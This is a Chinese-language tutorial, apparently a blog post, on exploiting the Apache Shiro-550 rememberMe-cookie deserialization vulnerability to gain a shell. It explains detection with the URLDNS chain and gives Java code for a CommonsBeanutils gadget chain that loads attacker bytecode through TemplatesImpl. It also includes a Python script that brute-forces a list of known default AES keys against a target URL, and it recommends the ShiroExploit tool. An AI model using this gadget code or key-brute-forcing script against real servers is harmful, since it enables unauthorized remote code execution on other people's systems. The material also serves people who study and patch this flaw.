Shiro反序列化漏洞利用
基本概念及漏洞成因
shiro概念:
Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721,而本篇中主要讨论的是Shiro-550,Shiro-721主要采用现成工具来爆破密钥和写入木马。
漏洞成因:
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利用过程中,比较重要的是AES加密的密钥,知道密钥就可以自己对序列化之后的ser.bin进行AES加密再base64编码然后通过cookie打过去(记得打之前要把JSESSIONID删掉,因为如果不删就会忽略掉rememberme)。漏洞根本成因是固定 key 加密,Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550)
漏洞探测:
勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。
具体加密和环境搭建流程参考:
https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/
漏洞利用
手工利用
既然是反序列化的漏洞利用,自然就要用到Gadget链,我们可以先用urldns链来检测是否存在反序列化漏洞,因为urldns仅需要jdk本身的包即可,且不限制jdk版本。
检测出存在之后就要使用更有威力的链了,之前学习过的CC链这里却无法使用,因为shiro下并不带有CommonCollections包,必须找到不依赖CC包的链。
前置知识补充:JavaBean
在Java中,有很多class的定义都符合这样的规范:
若干private实例字段;
通过public方法来读写实例字段。
如果读写方法符合以下这种命名规范:
1 2 3 4
| // 读方法: public Type getXyz() // 写方法: public void setXyz(Type value)
|
那么这种class被称为JavaBean。
不依赖CC包的CB链
CB链就是commonBeanutils链,主要原理是通过PropertyUtils.getProperty来获得TemplatesImpl.getOutputProperties,从而调用到TemplatesImpl.newTransformer后面和CC3一样,任意类动态加载执行代码,而调用PropertyUtils.getProperty的过程又和CC2类似,都是通过优先队列的readObject。
简要流程:PriorityQueue.readObject
–>BeanComparator.compare
–>PropertyUtils.getProperty
–>TemplatesImpl.getOutputProperties
–>TemplatesImpl.newTransformer
–>defineClass
–>newInstance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecode = c.getDeclaredField("_bytecodes"); byte[] code = Files.readAllBytes(Paths.get("C://Users/19670/IdeaProjects/cc1test/target/classes/cc3demo.class")); bytecode.setAccessible(true); bytecode.set(templates,new byte[][]{code}); Field tfactory = c.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); final BeanComparator beanComparator = new BeanComparator(); PriorityQueue<Object> queue= new PriorityQueue<>(2,BeanComparator); queue.add(1); queue.add(1); setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER); setFieldValue(queue, "queue", new Object[]{templates, templates}); serialize(queue);
|
密钥不对的情况
Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。下面给出大佬 Veraxy 的脚本,通过自定义密钥字典,可以一个一个试,密钥正确返回包中的Set-Cookie:rememberMe=deleteMe就会消失。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import base64 import uuid import requests from Crypto.Cipher import AES def encrypt_AES_GCM(msg, secretKey): aesCipher = AES.new(secretKey, AES.MODE_GCM) ciphertext, authTag = aesCipher.encrypt_and_digest(msg) return (ciphertext, aesCipher.nonce, authTag) def encode_rememberme(target): keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥 BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==') for key in keys: try: # CBC加密 encryptor = AES.new(base64.b64decode(key), mode, iv) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body))) res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False) if res.headers.get("Set-Cookie") == None: print("正确KEY :" + key) return key else: if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"): print("正确key:" + key) return key # GCM加密 encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key)) base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2]) res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False) if res.headers.get("Set-Cookie") == None: print("正确KEY:" + key) return key else: if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"): print("正确key:" + key) return key print("正确key:" + key) return key except Exception as e: print(e)
|
序列化之后的操作
序列化之后得到字节序列,可以找一个脚本将这个序列AES加密再base64加密,然后通过cookie传进去即可。
工具利用
直接用java运行ShiroExploit,自动利用dnsurl检测出100多个密钥中有效的,然后自动根据选择的链生成payload。